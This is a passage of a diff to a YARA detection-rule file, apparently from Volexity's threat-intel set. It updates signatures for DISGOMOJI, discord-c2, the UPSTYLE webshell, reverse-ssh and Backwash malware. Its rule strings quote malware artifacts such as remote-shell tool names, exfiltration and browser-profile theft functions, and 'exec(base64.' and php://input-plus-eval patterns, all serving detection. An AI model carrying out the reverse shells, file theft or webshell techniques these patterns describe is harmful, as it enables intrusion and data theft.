-{ - meta: - description = "Looks for artifacts generated (generally seen in .class files) related to the Behinder webshell." - author = "threatintel@volexity.com" - id = "21c1e3e9-d048-5c60-9c21-8e54b27f359a" - date = "2022-03-18" - modified = "2024-07-30" - reference = "https://github.com/MountCloud/BehinderClientSource/blob/master/src/main/java/net/rebeyond/behinder/core/ShellService.java" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L1-L29" - license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "373a8d4ef81e9bbbf1f24ebf0389e7da4b73f88786cc8e1d286ccc9f4c36debc" - score = 75 - quality = 30 - tags = "FILE, MEMORY" - hash1 = "9a9882f9082a506ed0fc4ddaedd50570c5762deadcaf789ac81ecdbb8cf6eff2" - os = "win,linux" + tags = "TRANSPARENTJASMINE, FILE, MEMORY" + hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529" + os = "linux" os_arch = "all" scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6615 - version = 3 + rule_id = 10268 + version = 9 strings: - $s1 = "CONNECT" ascii fullword - $s2 = "DISCONNECT" ascii fullword - $s3 = "socket_" ascii fullword - $s4 = "targetIP" ascii fullword - $s5 = "targetPort" ascii fullword - $s6 = "socketHash" ascii fullword - $s7 = "extraData" ascii fullword + $s1 = "discord-c2/test/main/payload.go" wide ascii + $s2 = "Desktop/Golang_Dev/Discord" condition: - all of them + any of them } -rule VOLEXITY_Malware_Golang_Pantegana : FILE MEMORY +rule VOLEXITY_Apt_Malware_Linux_Disgomoji_2 : TRANSPARENTJASMINE FILE MEMORY { meta: - description = "Detects PANTEGANA, a Golang backdoor used by a range of threat actors due to its public availability." + description = "Detects DISGOMOJI malware using strings in the ELF." author = "threatintel@volexity.com" - id = "b6154165-68e0-5986-a0cf-5631d369c230" - date = "2022-03-30" - modified = "2025-03-21" - reference = "https://github.com/elleven11/pantegana" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L90-L120" + id = "609beb47-5e93-5f69-b89d-2cf62f20851a" + date = "2024-02-22" + modified = "2024-07-05" + reference = "TIB-20240229" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L72-L103" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "791a664a6b4b98051cbfacb451099de085cbab74d73771709377ab68a5a23d2b" + logic_hash = "e03a774cca2946c1becdbd775ef465033dae089d578ea18a4f43fd7bdae9168e" score = 75 quality = 80 - tags = "FILE, MEMORY" - hash1 = "8297c99391aae918f154077c61ea94a99c7a339166e7981d9912b7fdc2e0d4f0" - os = "all" + tags = "TRANSPARENTJASMINE, FILE, MEMORY" + hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529" + os = "linux" os_arch = "all" scan_context = "file,memory" - severity = "high" + severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6631 - version = 3 + rule_id = 10266 + version = 9 strings: - $s1 = "RunFingerprinter" ascii - $s2 = "SendSysInfo" ascii - $s3 = "ExecAndGetOutput" ascii - $s4 = "RequestCommand" ascii - $s5 = "bindataRead" ascii - $s6 = "RunClient" ascii - $magic = "github.com/elleven11/pantegana" ascii + $s1 = "downloadFileFromURL" wide ascii + $s2 = "createCronJob" wide ascii + $s3 = "findAndSendFiles" wide ascii + $s4 = "updateLogFile" wide ascii + $s5 = "handleZipFile" wide ascii + $s6 = "takeScreenshot" wide ascii + $s7 = "zipFirefoxProfile" wide ascii + $s8 = "zipDirectoryWithParts" wide ascii + $s9 = "uploadAndSendToOshi" wide ascii + $s10 = "uploadAndSendToLeft" wide ascii condition: - 5 of ( $s* ) or $magic + 7 of them } -rule VOLEXITY_Malware_Any_Pupyrat_B : FILE MEMORY +rule VOLEXITY_Apt_Malware_Linux_Disgomoji_1 : TRANSPARENTJASMINE FILE MEMORY { meta: - description = "Detects the PUPYRAT malware family, a cross-platform RAT written in Python." + description = "Detects GOMOJI malware using strings in the ELF." author = "threatintel@volexity.com" - id = "ec8d0448-f47d-5c6e-bcf9-8f40ae83a96f" - date = "2022-04-07" - modified = "2025-03-21" - reference = "https://github.com/n1nj4sec/pupy" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L121-L158" + id = "f6643e9a-ca41-57e0-9fce-571d340f1cfe" + date = "2024-02-22" + modified = "2024-07-05" + reference = "TIB-20240229" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L104-L131" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "f5b5f35ee783ff1163072591c6d48a85894729156935650a0fd166ae22a2ea00" + logic_hash = "dd3535079881ae9cfe25c129803668cb595be89b7f62eb82af19cc3839f92b6d" score = 75 quality = 80 - tags = "FILE, MEMORY" - hash1 = "7474a6008b99e45686678f216af7d6357bb70a054c6d9b05e1817c8d80d536b4" - os = "all" + tags = "TRANSPARENTJASMINE, FILE, MEMORY" + hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529" + os = "linux" os_arch = "all" scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 6689 - version = 4 + rule_id = 10265 + version = 7 strings: - $elf1 = "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null" ascii - $elf2 = "reflective_inject_dll" fullword ascii - $elf3 = "ld_preload_inject_dll" fullword ascii - $pupy1 = "_pupy.error" ascii - $pupy2 = "pupy://" ascii - $s1 = "Args not passed" ascii - $s2 = "Too many args" ascii - $s3 = "Can't execute" ascii - $s4 = "mexec:stdin" ascii - $s5 = "mexec:stdout" ascii - $s6 = "mexec:stderr" ascii - $s7 = "LZMA error" ascii + $s1 = "Session *%s* opened!" wide ascii + $s2 = "uevent_seqnum.sh" wide ascii + $s3 = "Error downloading shell script: %v" wide ascii + $s4 = "Error setting execute permissions: %v" wide ascii + $s5 = "Error executing shell script: %v" wide ascii + $s6 = "Error creating Discord session" wide ascii condition: - any of ( $elf* ) or all of ( $pupy* ) or all of ( $s* ) + 4 of them } -rule VOLEXITY_Susp_Php_Fileinput_Eval : FILE +rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Bogus_Strings : TRANSPARENTJASMINE FILE { meta: - description = "Rule designed to detect PHP files which use file_get_contents() and then shortly afterwards use an eval statement." + description = "Detects the DISGOMOJI malware using bogus strings introduced in the newer version." author = "threatintel@volexity.com" - id = "3e311677-22ea-5e5f-bdc6-dd67033d25a6" - date = "2021-06-16" - modified = "2024-12-12" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L159-L182" + id = "ecff8d3c-d4fe-5b6d-a227-6ff531cf8e2b" + date = "2024-03-14" + modified = "2024-07-05" + reference = "TIB-20240318" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L132-L159" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "de376bfdfa5b6244c414454cb5d43d29e3dd75e049389f0c430c160f9d198965" - score = 65 + logic_hash = "0d8a2b371ffb182e60a8cc0cc500d1a9f906718a55f23f35f6c12f7faabbe971" + score = 75 quality = 80 - tags = "FILE" - hash1 = "1a34c43611ee310c16acc383c10a7b8b41578c19ee85716b14ac5adbf0a13bd5" - hash2 = "6e8874c756c009c63f715a44ca72d0cb31dc25d87d7df6ca2830fe8330580342" - os = "win,linux" + tags = "TRANSPARENTJASMINE, FILE" + hash1 = "8c8ef2d850bd9c987604e82571706e11612946122c6ab089bd54440c0113968e" + os = "linux" os_arch = "all" scan_context = "file" - severity = "high" + severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 5581 + rule_id = 10341 version = 5 strings: - $s1 = "file_get_contents(\"php://input\")" - $s2 = "eval(" + $s1 = "Graphics Display Rendering" wide ascii + $s2 = "Error fetching Repository Key: %v" wide ascii + $s3 = "Error reading Repository Key: %v" wide ascii + $s4 = "Error fetching dpkg: %v" wide ascii + $s5 = "GNU Drivers Latest version v1.4.2" wide ascii + $s6 = "ps_output.txt" wide ascii condition: - $s2 in ( @s1 [ 1 ] .. ( @s1 [ 1 ] + 512 ) ) + all of them } -rule VOLEXITY_Susp_Php_Call_User_Func : FILE +rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Script_Uevent_Seqnum : TRANSPARENTJASMINE FILE { meta: - description = "Webshells using call_user_func() function against an object from a file input or POST variable." + description = "Detects a script deployed as part of DISGOMOJI malware chain." author = "threatintel@volexity.com" - id = "48c7857e-7dda-5e3f-b82c-7d34c251f083" - date = "2021-06-16" - modified = "2024-07-30" - reference = "https://zhuanlan.zhihu.com/p/354906657" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L183-L205" + id = "9df61164-6a92-5042-ba4f-64dc7e998283" + date = "2024-03-07" + modified = "2024-07-05" + reference = "TIB-20240318" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L160-L187" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "46c999da97682023861e58f9cd2c8651480db990a0361c1985c6d5c35b5bf0ea" - score = 65 + logic_hash = "e390e83d9fc15499c9f32ad47d1c526273105602bda7b3532720b0a3f6abc835" + score = 75 quality = 80 - tags = "FILE" - hash1 = "40b053a2f3c8f47d252b960a9807b030b463ef793228b1670eda89f07b55b252" - os = "win,linux" + tags = "TRANSPARENTJASMINE, FILE" + hash1 = "98b24fb7aaaece7556aea2269b4e908dd79ff332ddaa5111caec49123840f364" + os = "linux" os_arch = "all" scan_context = "file" - severity = "high" + severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 5582 - version = 4 + rule_id = 10314 + version = 6 strings: - $s1 = "@call_user_func(new C()" wide ascii + $s1 = "USB_DIR=\"/media/$USER\"" wide ascii + $s2 = "RECORD_FILE=\"record.txt\"" wide ascii + $s3 = "copy_files()" wide ascii + $s4 = "Check for connected USB drives" wide ascii + $s5 = "Check if filename already exists in record.txt" wide ascii + $s6 = "Function to copy files from USB drive to destination folder" wide ascii condition: - $s1 + 3 of them } -rule VOLEXITY_Apt_Malware_Win_Applejeus_Oct22 : LAZYPINE FILE MEMORY +rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Script_Lan_Conf : TRANSPARENTJASMINE FILE { meta: - description = "Detects AppleJeus DLL samples." + description = "Detects a script deployed as part of DISGOMOJI malware chain." author = "threatintel@volexity.com" - id = "f88e2253-e296-57d8-a627-6cb4ccff7a92" - date = "2022-11-03" - modified = "2025-05-21" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L1-L22" + id = "b338b3cf-22ce-5767-bdea-503e883bc84b" + date = "2024-03-07" + modified = "2024-07-05" + reference = "TIB-20240318" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L188-L215" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "46f3325a7e8e33896862b1971f561f4871670842aecd46bcc7a5a1af869ecdc4" + logic_hash = "2a19d5cff7adc9b1b92538a5df4e3cadea694f925f65080f5093fc5425e840f4" score = 75 quality = 80 - tags = "LAZYPINE, FILE, MEMORY" - hash1 = "82e67114d632795edf29ce1d50a4c1c444846d9e16cd121ce26e63c8dc4a1629" - os = "win" + tags = "TRANSPARENTJASMINE, FILE" + hash1 = "0b5cf9bd917f0af03dd694ff4ce39b0b34a97c9f41b87feac1dc884a684f60ef" + os = "linux" os_arch = "all" - scan_context = "file,memory" + scan_context = "file" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 8495 - version = 3 + rule_id = 10312 + version = 7 strings: - $s1 = "HijackingLib.dll" ascii + $s1 = "add_lan_conf_cron_if_not_exists" wide ascii + $s2 = "download_if_not_exists" wide ascii + $s3 = "add_cron_if_not_exists" wide ascii + $s4 = "uevent_seqnum.sh" wide ascii + $s5 = "$HOME/.x86_64-linux-gnu" wide ascii + $s6 = "lanConfScriptPath" wide ascii condition: - $s1 + 4 of them } -rule VOLEXITY_Apt_Malware_Win_Applejeus_B_Oct22 : LAZYPINE FILE MEMORY +rule VOLEXITY_Malware_Golang_Discordc2_Bmdyy_1 : FILE MEMORY { meta: - description = "Detects unpacked AppleJeus samples." + description = "Detects a opensource malware available on github using strings in the binary. The DISGOMOJI malware family used by TransparentJasmine is based on this malware." author = "threatintel@volexity.com" - id = "8586dc64-225b-5f28-a6d6-b9b6e8f1c815" - date = "2022-11-03" - modified = "2025-05-21" - reference = "https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L24-L54" + id = "6816d264-4311-5e90-948b-2e27cdf0b720" + date = "2024-03-28" + modified = "2024-07-05" + reference = "TIB-20240229" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L216-L243" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "76f3c9692ea96d3cadbbcad03477ab6c53445935352cb215152b9b5483666d43" + logic_hash = "22b3e5109d0738552fbc310344b2651ab3297e324bc883d5332c1e8a7a1df29b" score = 75 quality = 80 - tags = "LAZYPINE, FILE, MEMORY" - hash1 = "9352625b3e6a3c998e328e11ad43efb5602fe669aed9c9388af5f55fadfedc78" - os = "win" + tags = "FILE, MEMORY" + hash1 = "de32e96d1f151cc787841c12fad88d0a2276a93d202fc19f93631462512fffaf" + os = "all" os_arch = "all" scan_context = "file,memory" - severity = "critical" + severity = "high" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 8497 - version = 5 + rule_id = 10390 + version = 3 strings: - $key1 = "AppX7y4nbzq37zn4ks9k7amqjywdat7d" - $key2 = "Gd2n5frvG2eZ1KOe" - $str1 = "Windows %d(%d)-%s" - $str2 = "&act=check" + $s1 = "File is bigger than 8MB" wide ascii + $s2 = "Uploaded file to" wide ascii + $s3 = "sess-%d" wide ascii + $s4 = "Session *%s* opened" wide ascii + $s5 = "%s%d_%dx%d.png" wide ascii condition: - ( any of ( $key* ) and 1 of ( $str* ) ) or all of ( $str* ) + 4 of them } -rule VOLEXITY_Apt_Malware_Win_Applejeus_C_Oct22 : LAZYPINE MEMORY +rule VOLEXITY_Malware_Golang_Discordc2_Bmdyy : FILE MEMORY { meta: - description = "Detects unpacked AppleJeus samples." + description = "Detects a opensource malware available on github using strings in the binary. DISGOMOJI used by TransparentJasmine is based on this malware." author = "threatintel@volexity.com" - id = "c9cbddde-220c-5e26-8760-85c29b98bfeb" - date = "2022-11-03" - modified = "2023-09-28" - reference = "https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L57-L84" + id = "1ddbf476-ba2d-5cbb-ad95-38e0ae8db71b" + date = "2024-02-22" + modified = "2024-07-05" + reference = "https://github.com/bmdyy/discord-c2" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L244-L267" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "a9e635d9353c8e5c4992beba79299fb889a7a3d5bc3eaf191f8bb7f51258a6c6" + logic_hash = "38b860a43b9937351f74b01983888f18ad101cbe66560feb7455d46b713eba0f" score = 75 quality = 80 - tags = "LAZYPINE, MEMORY" - hash1 = "a0db8f8f13a27df1eacbc01505f311f6b14cf9b84fbc7e84cb764a13f001dbbb" - os = "win" + tags = "FILE, MEMORY" + hash1 = "d9f29a626857fa251393f056e454dfc02de53288ebe89a282bad38d03f614529" + os = "all" os_arch = "all" - scan_context = "memory" + scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 8519 - version = 3 + rule_id = 10264 + version = 12 strings: - $str1 = "%sd.e%sc \"%s > %s 2>&1\"" wide - $str2 = "tuid" - $str4 = "payload" - $str5 = "fconn" - $str6 = "Mozilla_%lu" + $s1 = "**IP**: %s\n**User**: %s\n**Hostname**: %s\n**OS**: %s\n**CWD**" wide ascii condition: - 5 of ( $str* ) + $s1 } -rule VOLEXITY_Apt_Malware_Win_Applejeus_D_Oct22 : LAZYPINE FILE MEMORY +rule VOLEXITY_Apt_Malware_Py_Upstyle : UTA0218 FILE MEMORY { meta: - description = "Detected AppleJeus unpacked samples." + description = "Detect the UPSTYLE webshell." author = "threatintel@volexity.com" - id = "80d2821b-a437-573e-9e9d-bf79f9422cc9" - date = "2022-11-10" - modified = "2025-05-21" - reference = "https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L87-L112" + id = "45726f35-8b3e-5095-b145-9e7f6da6838b" + date = "2024-04-11" + modified = "2024-04-12" + reference = "TIB-20240412" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L1-L34" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "23c0642e5be15a75a39d089cd52f2f14d633f7af6889140b9ec6e53c5c023974" + logic_hash = "51923600b23d23f4ce29eac7f5ab9f7e1ddb45bed5f6727ddec4dcb75872e473" score = 75 quality = 80 - tags = "LAZYPINE, FILE, MEMORY" - hash1 = "a241b6611afba8bb1de69044115483adb74f66ab4a80f7423e13c652422cb379" - os = "win" + tags = "UTA0218, FILE, MEMORY" + hash1 = "3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac" + hash2 = "0d59d7bddac6c22230187ef6cf7fa22bca93759edc6f9127c41dc28a2cea19d8" + hash3 = "4dd4bd027f060f325bf6a90d01bfcf4e7751a3775ad0246beacc6eb2bad5ec6f" + os = "linux" os_arch = "all" scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 8534 - version = 3 + rule_id = 10429 + version = 2 strings: - $reg = "Software\\Bitcoin\\Bitcoin-Qt" - $pattern = "%s=%d&%s=%s&%s=%s&%s=%d" - $exec = " \"%s\", RaitingSetupUI " - $http = "Accept: */*" wide + $stage1_str1 = "/opt/pancfg/mgmt/licenses/PA_VM" + $stage1_str2 = "exec(base64." + $stage2_str1 = "signal.signal(signal.SIGTERM,stop)" + $stage2_str2 = "exec(base64." + $stage3_str1 = "write(\"/*\"+output+\"*/\")" + $stage3_str2 = "SHELL_PATTERN" condition: - all of them + all of ( $stage1* ) or all of ( $stage2* ) or all of ( $stage3* ) } -rule VOLEXITY_Apt_Delivery_Macro_Lazypine_Jeus_B : LAZYPINE FILE +rule VOLEXITY_Susp_Any_Jarischf_User_Path : FILE MEMORY { meta: - description = "Detects macros used by the LazyPine threat actor to distribute AppleJeus." + description = "Detects paths embedded in samples in released projects written by Ferdinand Jarisch, a pentester in AISEC. These tools are sometimes used by attackers in real world intrusions." author = "threatintel@volexity.com" - id = "ac4d4e82-e29f-5134-999d-b8dcef59d285" - date = "2022-11-03" - modified = "2025-05-21" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L114-L139" + id = "062a6fdb-c516-5643-9c7c-deff32eeb95e" + date = "2024-04-10" + modified = "2024-04-15" + reference = "TIB-20240412" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L59-L81" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "e55199e6ad26894f98e930cd4716127ee868872d08ada1c44675e4db1ec27894" - score = 75 + logic_hash = "574d5b1fadb91c39251600e7d73d4993d4b16565bd1427a0e8d6ed4e7905ab54" + score = 50 quality = 80 - tags = "LAZYPINE, FILE" - hash1 = "17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b" - os = "win" + tags = "FILE, MEMORY" + hash1 = "161fd76c83e557269bee39a57baa2ccbbac679f59d9adff1e1b73b0f4bb277a6" + os = "all" os_arch = "all" - scan_context = "file" - severity = "critical" + scan_context = "file,memory" + severity = "high" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 8493 - version = 3 + rule_id = 10424 + version = 4 strings: - $a1 = ", vbDirectory) = \"\" Then" ascii - $a2 = ".Caption & " ascii - $a3 = ".nodeTypedValue" ascii - $a4 = ".Application.Visible = False" ascii - $a5 = " MkDir (" ascii + $proj_1 = "/home/jarischf/" condition: - all of ( $a* ) + any of ( $proj_* ) } -rule VOLEXITY_Apt_Delivery_Office_Macro_Lazypine_Jeus : LAZYPINE FILE +rule VOLEXITY_Hacktool_Golang_Reversessh_Fahrj : FILE MEMORY { meta: - description = "Detects malicious documents used by LazyPine in a campaign dropping the AppleJeus malware." + description = "Detects a reverse SSH utility available on GitHub. Attackers may use this tool or similar tools in post-exploitation activity." author = "threatintel@volexity.com" - id = "f9a92f47-aa1d-56ea-ac59-47cc559f379f" - date = "2022-11-02" - modified = "2025-05-21" - reference = "https://github.com/volexity/threat-intel" - source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L141-L165" + id = "332e323f-cb16-5aa2-8b66-f3d6d50d94f2" + date = "2024-04-10" + modified = "2024-04-12" + reference = "TIB-20240412" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L82-L116" license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" - logic_hash = "54d5396b889a45d81122301eadf77f73135937fbe9647ad60491ac7856faf5ad" + logic_hash = "38b40cc7fc1e601da2c7a825f1c2eff209093875a5829ddd2f4c5ad438d660f8" score = 75 quality = 80 - tags = "LAZYPINE, FILE" - hash1 = "17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b" + tags = "FILE, MEMORY" + hash1 = "161fd76c83e557269bee39a57baa2ccbbac679f59d9adff1e1b73b0f4bb277a6" os = "all" os_arch = "all" - scan_context = "file" + scan_context = "file,memory" severity = "critical" license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" - rule_id = 8490 - version = 7 + rule_id = 10423 + version = 5 strings: - $s1 = "0M8R4K" ascii - $s2 = "bin.base64" ascii - $s3 = "dragon" ascii - $s4 = "Workbook_Open" ascii + $fun_1 = "createLocalPortForwardingCallback" + $fun_2 = "createReversePortForwardingCallback" + $fun_3 = "createPasswordHandler" + $fun_4 = "createPublicKeyHandler" + $fun_5 = "createSFTPHandler" + $fun_6 = "dialHomeAndListen" + $fun_7 = "createExtraInfoHandler" + $fun_8 = "createSSHSessionHandler" + $fun_9 = "createReversePortForwardingCallback" + $proj_1 = "github.com/Fahrj/reverse-ssh" condition: - all of ( $s* ) + any of ( $proj_* ) or 4 of ( $fun_* ) } rule VOLEXITY_Apt_Malware_Rb_Rokrat_Loader : INKYPINE FILE MEMORY { @@ -163597,7 +163544,7 @@ rule VOLEXITY_Apt_Malware_Rb_Rokrat_Loader : INKYPINE FILE MEMORY license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" logic_hash = "30ae14fd55a3ab60e791064f69377f3b9de9b871adfd055f435df657f89f8007" score = 75 - quality = 55 + quality = 80 tags = "INKYPINE, FILE, MEMORY" hash1 = "5bc52f6c1c0d0131cee30b4f192ce738ad70bcb56e84180f464a5125d1a784b2" os = "win" @@ -163792,6 +163739,176 @@ rule VOLEXITY_Apt_Webshell_Aspx_Sportsball : FILE MEMORY condition: any of ( $uniq* ) or all of ( $s* ) } +rule VOLEXITY_Malware_Win_Backwash_Cpp : WHEELEDASH FILE MEMORY +{ + meta: + description = "CPP loader for the Backwash malware." + author = "threatintel@volexity.com" + id = "8a1c4ff1-1827-5e6f-b838-664d8c3be840" + date = "2021-11-17" + modified = "2023-11-13" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L3-L26" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "c8ed2d3103aa85363acd7f5573aeb936a5ab5a3bacbcf1f04e6b298299f24dae" + score = 75 + quality = 80 + tags = "WHEELEDASH, FILE, MEMORY" + hash1 = "0cf93de64aa4dba6cec99aa5989fc9c5049bc46ca5f3cb327b49d62f3646a852" + os = "win" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6147 + version = 2 + + strings: + $s1 = "cor1dbg.dll" wide + $s2 = "XEReverseShell.exe" wide + $s3 = "XOJUMAN=" wide + + condition: + 2 of them +} +rule VOLEXITY_Malware_Win_Iis_Shellsave : WHEELEDASH FILE MEMORY +{ + meta: + description = "Detects an AutoIT backdoor designed to run on IIS servers and to install a webshell." + author = "threatintel@volexity.com" + id = "a89defa5-4b22-5650-a0c0-f4b3cf3377a7" + date = "2021-11-17" + modified = "2023-08-17" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2021/2021-12-06 - XEGroup/indicators/yara.yar#L27-L49" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "f34d6f4ecaa4cde5965f6b0deac55c7133a2be96f5c466f34775be6e7f730493" + score = 75 + quality = 80 + tags = "WHEELEDASH, FILE, MEMORY" + hash1 = "21683e02e11c166d0cf616ff9a1a4405598db7f4adfc87b205082ae94f83c742" + scan_context = "file,memory" + severity = "high" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6146 + version = 4 + + strings: + $s1 = "getdownloadshell" ascii + $s2 = "deleteisme" ascii + $s3 = "sitepapplication" ascii + $s4 = "getapplicationpool" ascii + + condition: + all of them +} +rule VOLEXITY_Malware_Win_Backwash_Iis_Scout : WHEELEDASH FILE MEMORY +{ + meta: + description = "Simple backdoor which collects information about the IIS server it is installed on. It appears to the attacker refers to this components as 'XValidate' - i.e. to validate infected machines." + author = 